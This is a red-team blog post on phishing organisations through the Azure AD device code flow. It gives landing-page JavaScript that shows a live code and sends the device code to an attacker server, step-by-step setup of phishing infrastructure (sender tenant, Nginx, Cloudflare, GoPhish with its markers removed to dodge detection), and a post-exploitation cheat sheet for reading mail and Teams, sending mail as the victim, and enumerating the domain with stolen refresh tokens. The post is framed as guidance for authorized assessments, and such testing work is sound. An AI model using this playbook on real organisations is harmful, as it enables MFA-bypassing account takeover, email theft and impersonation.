top of page
  • Writer's picture@Firestone65

Phishing with Azure Device Codes

Updated: Oct 16, 2022

With organization's bolstering their security awareness programs & security solutions getting smarter by the day, phishing has become quiet challenging. There is a need for offensive security professionals to think outside the box to simulate more advanced threat actors.

Fig: A conventional credential harvesting phishing assessment

We'll explore an interesting phishing technique used to target organizations who have deployed Azure AD. The aim of this post is to show you step-by-step, how you can leverage this technique for a phishing engagement as well as improve upon it's limitations.

If you've never heard of "Azure Device Code" phishing, refer the section below before you continue with this post.



Table of Contents


Introduction: The New 'Phish' In Town

The "Azure Device Code" phishing technique is based on Azure AD Device Code Authentication flow.

This feature is analogous to how Netflix or Amazon Prime assists users to quickly sign-in to their TVs using smartphones.

Generate Code Submit Generated Code

How can this feature be abused?

From a Red Team Op perspective, this technique is ideal for an initial sacrificial phish. If an attacker convinces a victim to sign-in to a device that he/she controls, this leads to a compromise of the victim's access tokens. These tokens may be used to access the victim's:

  • Azure Resources\Privileges

  • Email Address Book

  • Outlook & Teams

  • Domain Enumeration with AzureHound

You could execute this technique in two ways. Let me demonstrate the flow of the first attack-chain using TokenTactics. I go through the setup process in the "Infrastructure Setup" section.

Attack Chain - I

Step 1: Attacker sends a request to the AzureAD "devicecode" endpoint [""] for the "Microsoft Office" resource and retrieves a "user_code" & "device_code". The "user_code" expires after 10-15 minutes.

Attacker uses the "device_code" to begin probing for successful authentication on the AzureAD "token" endpoint [""] :

Step 2: Attacker sends the generated "user_code" to the victim in a phishing email impersonating Microsoft:

Step 3: Victim visits ""→ Enters the provided "user_code":

Step 4: Victim proceeds to sign-in to Microsoft Office. In case of an existing active session, SSO aids this process with only two clicks. If MFA is implemented, the standard authentication steps takes place:

Step 5: Attacker receives “access_token” & “refresh_token”. While the "access_token" is valid for about 45 minutes, the "refresh_token" is valid for about 90 days and can be used to mint new "access_tokens":

Note that in the above section, we are using Microsoft's terminology. What we commonly refer to as "Device Code" phishing is actually the "user_code". The "device_code" is used to probe for a successful authentication at the attacker's end. This is important to understand before moving forward.

According to Microsoft,




  • Less suspicious to victims

  • No custom landing page required

  • Landing page bypasses Web Proxy by Living of Trusted Site

  • Bypasses MFA

  • Persistent access upto 90 days

  • Survives password resets

  • No way to block → Only trace is IP from Azure AD Logs

  • ​Target must be registered to Azure AD

  • Victim must click within 15 min of sending email *

  • ‘Enabled Security Defaults’ blocks access to victim's Outlook, Teams

  • Email must bypass Spam filters


Overcoming Limitations

Since the generated "user_code" expires within 10-15 minutes, the victim must authenticate within this time period after launching the campaign. Surely, one could send the phish multiple times, but what if we could generate the "user_code" on-the-fly as soon as the victim opens the phishing email and clicks on our link?

@Mr-Un1k0d3r published an interesting work-around using a CORS proxy. "CORS Anywhere" is a proxy that helps with accessing data from other websites that is normally forbidden by the same origin policy of web browsers. This is done by proxying requests to these sites via a server (written in Node.js, in this case).

"CORS Anywhere" when hosted on a phishing website, would allow you to request Microsoft for the "user_code" & "device_code" in the background. With the help of some JavaScript, we can dynamically display the "user_code" to the victim and send over the "device_code" to our own server to probe for successful authentication.

HTML Code Snippet

  • Insert the CORS Proxy code at the beginning, right after the <title></title> tags.


<!--CORS Worker Code - Begins-->  
<script src=""></script> <script> $.get("https://<!--INSERT-CORS-Anywhere-URL-->/").done(function(data) { $.get("<!--INSERT-ATTACKER-SERVER-URL-->/?id=" + data.device_code); document.getElementById("usercode").innerHTML = data.user_code; }); </script>


<strong> Your device code is  </strong>: <span id = "usercode"></span> 
<!-- This ID is referenced when displaying user_code -->


There is one caveat to this approach. You would need to set up a landing page to display the dynamically generated "user_code" prior to redirecting the user to "". As a result, ensure you choose an appropriate domain name (something similar to your target's O365 portal) & follow OPSEC considerations to protect your phishing website.

Attack Chain - II

The below diagram demonstrate the flow of the second attack-chain:

Step 1: Attacker sends a phishing email impersonating Microsoft. The email contains the link to a landing page hosted on his own domain:

Step 2: Victim clicks on the link and visits the landing page where-in "CORS Anywhere" dynamically retrieves and displays the "user_code" to the victim and sends the "device_code" to the attacker's server:

Fig: Landing page where the "user_code" is dynamically showed to victim using "CORS Anywhere"
Fig: Python server request logs show "device_code" received on Attacker's Server

Step 3: Attacker uses the received "device_code" to probe for successful authentication. In my case, I've written a POC PowerShell script to automate the information gathering process once successful authentication is obtained. This is helpful in situations where multiple "device_codes" are received:

Step 4: The remaining steps are same as Attack Chain I. Upon clicking "Next", the victim is redirected to "" and enters the provided "user_code".

Step 5: Victim proceeds to sign-in to Microsoft Office:

Step 6: Attacker receives the victim's access & refresh tokens. Attacker begins extracting information from the target environment:

Fig: Analyzing privileged users using AzureHound & BloodHound
Fig: Access to victim's Microsoft Outlook email
Fig: Privileges to send email as the victim
Fig: Access to victim's Microsoft Teams messages
Fig: Attacker generates new access tokens using refresh tokens to regain access

Infrastructure Setup

We will be using the following components to setup resilient phishing infrastructure.

The below setup is what I use specifically for the "Azure Device Code" phishing scenario:

Fig: Phishing infrastructure design

Azure Tenant Creation

Step 1: Create an azure account at "".

Step 2: Start a trial "Pay-As-You-Go" subscription.

Step 3: Log into "" and go to Azure Active Directory (AAD) service in the portal

Step 4: Create a new tenant by navigating to Azure AD → Overview → Manage Tenant → Create

Step 5: Create a Tenant. This domain will be your sender domain name.

Step 6: Create an administrative user in your new tenant via Azure AD → Users → New User.

Step 7: Add the "Global Administrator" role to the user:

Step 9: Navigate to “Administrator” → “Assigned roles” → “Add assignments” → Add the “Exchange Administrator” role:

Step 10: Disable 2-FA prompts during Sign-In. If the below setting is not set, it will hinder us from sending email via SMTP:

Office365 for SMTP

Step 1: Sign into "" with your newly created administrator user.

Step 2: Navigate to Billing → Purchase services

Step 3: We'll use the "Microsoft 365 Business Premium (month to month)" subscription.

Step 4: Start a free trial for “Microsoft 365 Business Premium” if you can.

Step 5: Create a user to send phishing emails.

Step 6: Assign the "Microsoft 365 Business Premium" license to the user

Step 7: Click “Next” “Finish adding”

Step 8: Sign-In to "" with the new user → Change the Avatar icon to make the email look legitimate. Note that this may take sometime to show up on the profile.

Step 9: Add DKIM records for your Azure tenant

#Install PS Exchange Module
Install-Module -Name ExchangeOnlineManagement 

Import-Module ExchangeOnlineManagement  
Connect-ExchangeOnline -UserPrincipalName

New-DkimSigningConfig -DomainName <> -Enabled $true  
Get-DkimSigningConfig –identity| Format-List Identity,Selector1CNAME,Selector2CNAME  

#Expected Sample Output 
Identity       : 
Selector1CNAME : 
Selector2CNAME :

Step 10: Add DMARC records for your Azure tenant

Name: _dmarc
Value: v=DMARC1; p=none;

Step 11: Enable SMTP for user

Install-Module -Name ExchangeOnlineManagement 
Import-Module ExchangeOnlineManagement  

Connect-ExchangeOnline -UserPrincipalName <exchangeadmin>  -ShowProgress $true  
Set-TransportConfig -SmtpClientAuthenticationDisabled $false 
Get-TransportConfig | select SmtpClientAuthenticationDisabled 
Set-CASMailbox -Identity <senderemail> -SmtpClientAuthenticationDisabled $false 
Get-CASMailbox -Identity <senderemail>

#Send a Test Email
$credential = Get-Credential  
Send-MailMessage -SmtpServer -Port 587 -UseSsl -To -From -Subject "Test Message" -Credential $credential -Body "This is test email from your Microsoft O365 account" -BodyAsHtml 

Nginx Reverse Proxy

Step 1: Stand up an Ubuntu VPS instance using any cloud service provider.

Step 2: Install Nginx & Tmux

sudo apt-get install nginx tmux

#Copy-Paste Tmux config from
nano ~/.tmux.conf

Step 3: Modify the Nginx config file based on your requirement. You can use the below template as a reference. Each server{} is considered as a server block.

  • Block 1: Redirect all HTTP requests to HTTPs

  • Block 2: Redirect requests to "" to our GoPhish service.

  • Block 3: Redirect requests to "" to our internal Python server to Block the "device_code"

  • Block 4: Redirect all requests to "" to Google.

sudo nano /etc/nginx/sites-available/example

#Contents of nginx config file begin. Replace "" with your domain name

server {     
        listen 80; 
        listen [::]:80;
        return 302 https://$server_name$request_uri;
server {     
     listen 443 ssl http2;   
     listen [::]:443 ssl http2;
     ssl_certificate     /etc/nginx/ssl/;
     ssl_certificate_key     /etc/nginx/ssl/;
     access_log     /var/log/nginx/; 
     location / {  
     Host $host;     
     proxy_set_header     X-Real-IP $remote_addr;     
     proxy_set_header     X-Forwarded-For $proxy_add_x_forwarded_for;
     proxy_set_header     X-Forwarded-Proto $scheme;
     proxy_pass     http://localhost:8080;
     proxy_read_timeout     90;   
   server {     
   listen  443 ssl http2;  
   listen [::]:443 ssl http2;
   ssl_certificate        /etc/nginx/ssl/;
   ssl_certificate_key        /etc/nginx/ssl/;
   access_log        /var/log/nginx/;
   location / {
   proxy_set_header        Host $host;     
   proxy_set_header        X-Real-IP $remote_addr;     
   proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
   proxy_set_header        X-Forwarded-Proto $scheme;
   proxy_pass        http://localhost:8090;     
   proxy_read_timeout    90;   
 server {     
 listen     443 ssl http2;
 listen [::]:443 ssl http2;
 ssl_certificate     /etc/nginx/ssl/;
 ssl_certificate_key     /etc/nginx/ssl/example.key.pem;
 access_log     /var/log/nginx/;  
 location / { 
 set $redirect_url;     
 return 301 https://$redirect_url$request_uri;   

Step 4: Setup Firewall Rules:

  • Allow port 3333 from whitelisted IP: GoPhish admin portal

  • Allow port 22 from whitelisted IP

  • Allow 80, 443 from the internet

#To find your public IP

#Firewall Rule Setup. Replace <x.x.x.0/24> with your public IP
sudo ufw allow from <x.x.x.0/24> to any port 3333 
sudo ufw allow from <x.x.x.0/24> to any port 22 
sudo ufw allow in on eth0 to any port 443 
sudo ufw allow in on eth0 to any port 80 
sudo ufw enable 
sudo ufw status numbered

Step 5: Finish up Nginx configuration & reload the server. Don't worry if you face a "cannot load certificate" error. We'll set up the SSL certificate in the Cloudflare CDN section.

sudo ln -s /etc/nginx/sites-available/example /etc/nginx/sites-enabled/example 
sudo rm /etc/nginx/sites-enabled/default 
sudo rm /etc/nginx/sites-available/default  

#Update config 
nginx -t 
sudo /etc/init.d/nginx reload

Cloudflare CDN

Using a Cloudflare CDN with our phishing website provides several benefits:

  • Instant DNS record propagation

  • Protections against bot-crawlers

  • SSL Certificate signed by Cloudflare

Assuming you have an aged, categorized domain, let's set it up with Cloudflare CDN.

Step 1: Visit "" and create a free account.

Step 2: Navigate to "Websites" → "Add a Site" → "Add site"

Step 3: Choose the "Free" plan when prompted to select a plan

Step 4: From your domain hosting provider's settings, change the DNS Nameservers to that of Cloudflare. In this case, I'm using GoDaddy as my hosting provider.

Step 5: Set up the required DNS records based on your configuration. In my case:

  • "" - Phishing Domain

  • "" - To receive "device_code"

Step 6: Configure "Page Rules" to turn off caching.

Step 7: Obtain an SSL certificate - To create an Origin Certificate & Private Key from Cloudflare, follow the steps provided in this guide from Digital Ocean.

Step 8: Reduce the "Under Attack Mode" to "High" to ensure you receive requests on CORS proxy.

Step 9: Use Putty when copy-pasting the certificate to your server to avoid white-spaces. Sometimes, when you copy the certificate and key from the Cloudflare dashboard and paste it into the relevant files on the server, blank lines are inserted. Nginx will treat such certificates and keys as invalid, so ensure that there are no blank lines in your files. Don't forget to replace "" with your domain

#Generate Origin Cert from Cloudflare & save to: 
sudo mkdir /etc/nginx/ssl 
nano /etc/nginx/ssl/ 
nano /etc/nginx/ssl/ 
sudo chown -R www-data:www-data /etc/nginx/ssl 
sudo chmod -R 655 /etc/nginx/ssl

#Reload Nginx
nginx -t 
sudo systemctl restart nginx

CORS Proxy Setup

For some reason I was unable to get "CORS Anywhere" to work with the Nginx reverse proxy. To clarify, except for "CORS Anywhere", all of the other components are hosted on the same Ubuntu instance.

Based on your target's geo-location, stand up a new VPS server in the same region. Note that during login, Microsoft will show the victim the device's Sign-in” location.

Step 1: Install required packages

#1. Install 
sudo apt install nodejs npm certbot python3-certbot-nginx
cd /opt
npm i cors-anywhere  

#2. Download custom 404 page for bots/crawlers 
wget "" -O /opt/node_modules/cors-anywhere/lib/404.html  

#3. Modify cors-anywhere.js (Line 270) to point to 404.html  
sed -i 's/help.txt/404.html/g' /opt/node_modules/cors-anywhere/lib/cors-anywhere.js  

#4. Start CORS Anywhere
node /opt/node_modules/cors-anywhere/server.js 

---------- OPTIONAL -----------
If you'd like to setup CORS Anywhere with a domain name instead of an IP & set up SSL

#5. Obtain an SSL Cert 
certbot certonly --standalone -d 
chmod -R 0770 /etc/letsencrypt/archive/ 
chown -R root:node /etc/letsencrypt/archive/ 

#Modify /opt/node_modules/cors-anywhere/server.js to add the below snippet:


httpsOptions: {         
key: fs.readFileSync('/etc/letsencrypt/live/'),         cert: fs.readFileSync('/etc/letsencrypt/live/')     },     
originWhitelist: originWhitelist, // Allow all origins     
requireHeader: ['origin', 'x-requested-with'],


Note: Alternatively you could use a Cloudflare worker with CORSAnywhere. While it's relatively easier to setup, you do not have control over the “Sign-in” Location.

Step 2: Modify the landing page with "CORS Anywhere" public URL within the JavaScript code.

Step 3: Validate whether the Proxy is functional and the page behaves as expected.

Note: If you're unable to receive the codes, re-check the landing page source-code & try enabling CloudFlare "Development Mode" to bypass caching.

GoPhish Setup

I've found GoPhish to be helpful for tracking, especially when you're running multiple credential harvesting campaigns at a time.

Fig: Timeline for a phished user on GoPhish

Step 1: Install required packages & remove GoPhish IOCs.

sudo apt-get update && apt-get upgrade
sudo apt install build-essential net-tools manpages-dev unzip ufw  

#Golang Installation. (Download link from
cd /tmp
tar -C /usr/local -xzf go1.18.3.linux-amd64.tar.gz 
export PATH=$PATH:/usr/local/go/bin 
source $HOME/.profile 
go version  

#GoPhish Setup
cd /opt
git clone  

#Change default listener
sed -i 's/' /opt/gophish/config.json
sed -i 's/' /opt/gophish/config.json

#SSL Setup
cp /etc/nginx/ssl/ /opt/gophish/gophish_admin.crt
cp /etc/nginx/ssl/ /opt/gophish/gophish_admin.key

#Remove GoPhish IOCs
#Get a Custom Phish.go [Customise default with standard IIS 10.0 HTTP Headers] 
wget "" -O /opt/gophish/controllers/phish.go  
sed -i 's/X-Gophish-Contact/X-Contact/g' /opt/gophish/models/email_request_test.go 
sed -i 's/X-Gophish-Contact/X-Contact/g' /opt/gophish/models/maillog.go 
sed -i 's/X-Gophish-Contact/X-Contact/g' /opt/gophish/models/maillog_test.go 
sed -i 's/X-Gophish-Contact/X-Contact/g' /opt/gophish/models/email_request.go  

# Stripping X-Gophish-Signature 
sed -i 's/X-Gophish-Signature/X-Signature/g' /opt/gophish/webhook/webhook.go  

# Changing servername 
sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/' /opt/gophish/config/config.go  

#Change the default 404.html page
wget "" -O /opt/gophish/templates/404.html 

# Changing RID Parameter 
sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "client-request-id"/g' /opt/gophish/models/campaign.go  

#Install GoPhish
cd /opt/gophish
go build

#Host the jQuery script as a static file:
wget -O /opt/gophish/static/endpoint/jquery.min.js

Step 2: Import Email Template. A few pointers:

  • Modify the URL within the email to {{.URL}}

  • Modify the email ID to {{.Email}}. This will ensure each victim get's a tailored phish.

  • Outlook prevents auto-downloads of pictures from external senders. To get past this base64-encode images within your email template.

Step 3: Import Landing Page & make the below modifications:

Step 4: Create a Users group and add your target users.

Step 5: Import Sender Profile & perform a spam test with ""


We are now ready to launch our phishing campaign!


Closing Thoughts

  • This technique is effective and I highly recommend you incorporate this into your phishing assessments. The timeline shown below is from a phishing engagement performed:

  • Attack Chain - I is ideal for a Red Team Op. Unless you're lucky enough to compromise the Global Admin, your access is limited to your victim's privileges, which in most cases means a large email wordlist and juicy information from Microsoft Outlook\Teams, both of which can be leveraged to launch a targeted spear phishing attack. Since we're living off a trusted website for our phishing domain, we do not need to worry about internal web proxy filters.

  • Attack Chain - II would be my go-to for engagements where you have a large target group & the client is willing to whitelist the phishing domain. This significantly increases the chances of getting a successful phish.


In the event of a compromise, invalidate Refresh Tokens for the account:

# PowerShell commands to connect to Azure AD and revoke existing refresh tokens
Get-AzureADuser -Identity <UPN> | Revoke-AzureADUserAllRefreshToken

  1. While I cannot confirm on this, I noticed when the Azure AD security control "Enabled Security Defaults" was enabled, this prevented access to victim's Microsoft Teams & Outlook Email. You will still be able to extract email addresses and perform domain enumeration using AzureHound.


Cheat Sheet

#1. Tool installation
Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force  #Installation Install-Module AADInternals 
Import-Module AADInternals  
git clone 
Import-Module .\TokenTactics.psd1  
Install-Module -Name AzureAD Import-Module AzureAD

#2. Research your Target. Confirm whether target is registered to AzureAD Invoke-AADIntReconAsOutsider -Domain <> | ft

#3. Start Attack 
Get-AzureToken -Client Graph

#4.1. Post-exploitation : Token Manipulation
#Graph Token (default) [ For Domain Enumeration ] 
RefreshTo-GraphToken  -domain <domain> -refreshToken $response.refresh_token -Device <Device> -Browser <Browser> 
Connect-AzureAD -AadAccessToken $response.access_token -AccountId <victim email ID>  

#Check access by retrieving 5 domain users
Get-AzureADUser -Top 5  

#Send Email [resource =] 
$OutookToken = RefreshTo-OutlookToken -refreshToken $response.refresh_token -domain <domain> 

Send-AADIntOutlookMessage -AccessToken $OutookToken.access_token -Recipient "<recipient>" -Subject "An email" -Message "<h2>This is a message!</h2>"  

#Dump Teams Messages [resource = ] 
RefreshTo-MSTeamsToken -refreshToken $response.refresh_token -domain <domain> 
Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token  

#MSGraph Token - Dump Email [ resource - ] RefreshTo-MSGraphToken -refreshToken $response.refresh_token -domain <domain> -Device AndroidMobile -Browser Android 

Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder inbox -top 1 

Clear-Token -Token All

#4.2. Post-exploitation : Domain Enumeration

#List Group Memberships 
Get-AzureADUser -ObjectId "<email ID>" | Get-AzureADUserMembership  

#List User Managers 
Get-AzureADUser -Top 5 | ForEach-Object {$_.ObjectId} | Get-AzureADUserManager  

#List User Owned Objects 
Get-AzureADUserOwnedObject -ObjectId $UserId  

#Enumerate Privileged Users 
Get-AzureADDirectoryRole | Foreach-Object {   
$Role = $_   
$RoleMembers = Get-AzureADDirectoryRoleMember -ObjectId $Role.ObjectID   ForEach ($Member in $RoleMembers){   
$RoleMembership = [PSCustomObject]@{   MemberName = $Member.DisplayName   MemberID = $Member.ObjectID   
MemberOnPremID = $Member.OnPremisesSecurityIdentifier   
MemberUPN = $Member.UserPrincipalName   
MemberType = $Member.ObjectType   
RoleID = $Role.RoleTemplateID   
RoleName = Get-AzureADDirectoryRole | ?{$_.RoleTemplateId -eq $Role.RoleTemplateID} | Select DisplayName   

#Find Role Name from RoleId 
Get-AzureADDirectoryRole | ?{$_.RoleTemplateId -eq "<ROLE ID>" } | select DisplayName,RoleTemplateId  

#AzureHound (Similar to BloodHound)

Install-Module Az 
Import-Module Az 
RefreshTo-AzureCoreManagementToken -domain <domain> -refreshtoken refresh_token 
Connect-AzAccount -AccessToken  $AzureCoreManagementToken.Access_token AccountId <victim email ID>
Import-Module <Path to AzureHound.ps1>
Invoke-AzureHound -OutputDirectory "<Local Output Directory>"    

#AADInternals [Requires AzureCoreManagementToken] 
$results = Invoke-AADIntReconAsInsider  

#To list all admin roles and their “members” [High-value targets] $results.roleInformation | Where Members -ne $null | select Name,Members 

# List synchronization information. Target the synchronization server to extract credentials used in synchronization. 
$results.companyInformation | Select *Sync* Get-AADIntSyncConfiguration  

#User enumeration & Groups(including Teams) 
$results = Invoke-AADIntUserEnumerationAsInsider -Groups $results.Users[0]

#Manual Az PowerShell Module Cheatsheet: 

5,118 views0 comments

Recent Posts

See All


Os comentários foram desativados.
Post: Blog2_Post
bottom of page